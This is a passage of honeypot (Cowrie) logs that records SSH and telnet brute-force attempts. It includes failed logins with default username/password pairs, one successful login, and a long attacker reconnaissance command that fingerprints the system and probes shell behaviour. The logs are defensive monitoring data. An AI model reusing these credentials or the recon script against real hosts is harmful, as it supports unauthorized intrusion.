6","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:32.071989Z","src_ip":"160.187.174.22","session":"1c3e056db1b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:32.770948Z","src_ip":"160.187.174.22","session":"1c3e056db1b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:34.003142Z","src_ip":"160.187.174.22","session":"1c3e056db1b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":37572,"dst_ip":"10.17.0.5","dst_port":22,"session":"9939c76b2615","protocol":"ssh","message":"New connection: 103.122.221.179:37572 (10.17.0.5:22) [session: 9939c76b2615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:35.382886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:35.386403Z","src_ip":"103.122.221.179","session":"9939c76b2615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:35.644194Z","src_ip":"103.122.221.179","session":"9939c76b2615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"190192","message":"login attempt [root/190192] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:36.422918Z","src_ip":"103.122.221.179","session":"9939c76b2615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:37.683708Z","src_ip":"103.122.221.179","session":"9939c76b2615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":46852,"dst_ip":"10.17.0.5","dst_port":22,"session":"df7cc1aadaae","protocol":"ssh","message":"New connection: 162.240.218.183:46852 (10.17.0.5:22) [session: df7cc1aadaae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:37.953763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:37.958376Z","src_ip":"162.240.218.183","session":"df7cc1aadaae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:38.048168Z","src_ip":"162.240.218.183","session":"df7cc1aadaae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"render","password":"render123","message":"login attempt [render/render123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:38.316309Z","src_ip":"162.240.218.183","session":"df7cc1aadaae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:39.407816Z","src_ip":"162.240.218.183","session":"df7cc1aadaae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34838,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d6d592148b3","protocol":"ssh","message":"New connection: 160.187.174.22:34838 (159.203.135.109:22) [session: 5d6d592148b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:58.150692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:58.218634Z","src_ip":"160.187.174.22","session":"5d6d592148b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:58.387598Z","src_ip":"160.187.174.22","session":"5d6d592148b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:49:59.353554Z","src_ip":"160.187.174.22","session":"5d6d592148b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:00.592427Z","src_ip":"160.187.174.22","session":"5d6d592148b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.193.130","src_port":42144,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f681724118b","protocol":"telnet","message":"New connection: 20.65.193.130:42144 (10.17.0.5:23) [session: 3f681724118b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:01.848346Z"}
{"eventid":"cowrie.session.closed","duration":10.053107738494873,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:11.901339Z","src_ip":"20.65.193.130","session":"3f681724118b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.193.130","src_port":57126,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b0557b6591f","protocol":"telnet","message":"New connection: 20.65.193.130:57126 (10.17.0.5:23) [session: 1b0557b6591f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:11.941517Z"}
{"eventid":"cowrie.session.closed","duration":0.06813883781433105,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:12.009531Z","src_ip":"20.65.193.130","session":"1b0557b6591f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":45496,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e99c47a1ba2","protocol":"ssh","message":"New connection: 160.187.174.22:45496 (159.203.135.109:22) [session: 5e99c47a1ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:26.738281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:26.741752Z","src_ip":"160.187.174.22","session":"5e99c47a1ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:26.974494Z","src_ip":"160.187.174.22","session":"5e99c47a1ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:27.667635Z","src_ip":"160.187.174.22","session":"5e99c47a1ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:28.909550Z","src_ip":"160.187.174.22","session":"5e99c47a1ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46712,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ace40cb9197","protocol":"ssh","message":"New connection: 91.92.40.4:46712 (10.17.0.5:22) [session: 5ace40cb9197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:30.580322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:30.584040Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:30.664642Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"test123","message":"login attempt [oracle/test123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:30.940114Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.221550Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.224002Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.227390Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.230510Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.233262Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.236799Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.239476Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.242480Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.245858Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.249468Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.252643Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":39906,"dst_ip":"159.203.135.109","dst_port":22,"session":"737cd0ec3780","protocol":"ssh","message":"New connection: 162.144.213.198:39906 (159.203.135.109:22) [session: 737cd0ec3780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.320966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.324898Z","src_ip":"162.144.213.198","session":"737cd0ec3780","protocol":"ssh"}
